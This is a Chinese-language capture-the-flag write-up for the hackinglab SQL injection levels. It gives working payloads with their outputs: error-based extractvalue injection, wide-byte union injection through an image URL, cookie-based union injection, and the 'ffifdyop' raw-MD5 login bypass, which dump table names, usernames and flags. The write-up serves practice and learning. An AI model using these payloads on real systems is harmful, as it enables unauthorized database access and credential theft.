hackinglab注入关WP(二)

HACKLAB注入关(http://www.tuicool.com/articles/nMrqeay

4.到底能不能回显

构造这个语句

?start=0 procedure analyse(extractvalue(rand(),concat(1,

得到结果

XPATH syntax error: 'article,user'  

知道现在的数据库中有两个表:article和user。

现在爆破user表中的列(由于分号被过滤了,只能用16进制的ascii编码表示表名):

1. ?start=0 procedure analyse(extractvalue(rand(),concat(1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1  

 

得到

XPATH syntax error: 'id,username,password,lastloginIP'  

看看username

1. ?start=0 procedure analyse(extractvalue(rand(),concat(1,(select group_concat(username) from user))),1)%23&num=1  

得到XPATH syntax error: 'user,admin,flag'  

发现了flag

1. ?start=0 procedure analyse(extractvalue(rand(),concat(1,(select group_concat(password) from user))),1)%23&num=1  

得到

XPATH syntax error: 'user,admin,myflagishere'  

 

 

 

 

 

5.邂逅

把注入参数放在图片地址上面,而且需要使用宽字节的方式注入

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27%20union%20select%201,2,TABLE_NAME,4%20from%20information_schema.TABLES%20where%20table_SCHEMA=0x723034363663706c7573687561%20limit%201,1%23

得到表名:pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27%20union%20select%201,2,COLUMN_NAME,4%20from%20information_schema.COLUMNS%20where%20table_NAME=0x706963%20limit%201,1%23

得到字段名:picname

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27%20union%20select%201,2,picname,4%20from%20pic%20limit%202,1 %23

得到图片名称:flagishere_askldjfklasjdfl.jpg

访问这个链接即可

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

 

 

 

6.ErrorBased

爆出表名

1. ?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23  

 

爆出列名

?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='motto')))%23 

查询各列值

?username=admin' and extractvalue(rand(),concat(0x3a,(select group_concat(username) from motto)))%23 

构造如下语句,利用limit查询

1. ?username=admin' and extractvalue(rand(),concat(0x3a,(select concat(motto,0x3a) from motto limit 3,1)))%23  

 

 

 

7.盲注

盲注学习中,先PASS

 

8.SQL注入通用防护

主要利用的是cookie

 

通过 order by 子句就可以得到字段数目。语句如下:

Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=2 order by 4

最后得到字段数目是3

得到显示位

Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,3

得到显示位是23

Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

得到数据库

Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8')

得到表的信息、字段

得到flag

 

 

 

 

 

 

9.据说哈希后的密码是不能产生注入的

查看源代码

其中最关键的语句是 select * from user where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."' 。对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

 

只要提交后变成SELECT * FROM admin WHERE pass = ''or'6<trash>'

就行了

 

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: 'or'6<trash>

所以构造http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

 

就可以了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值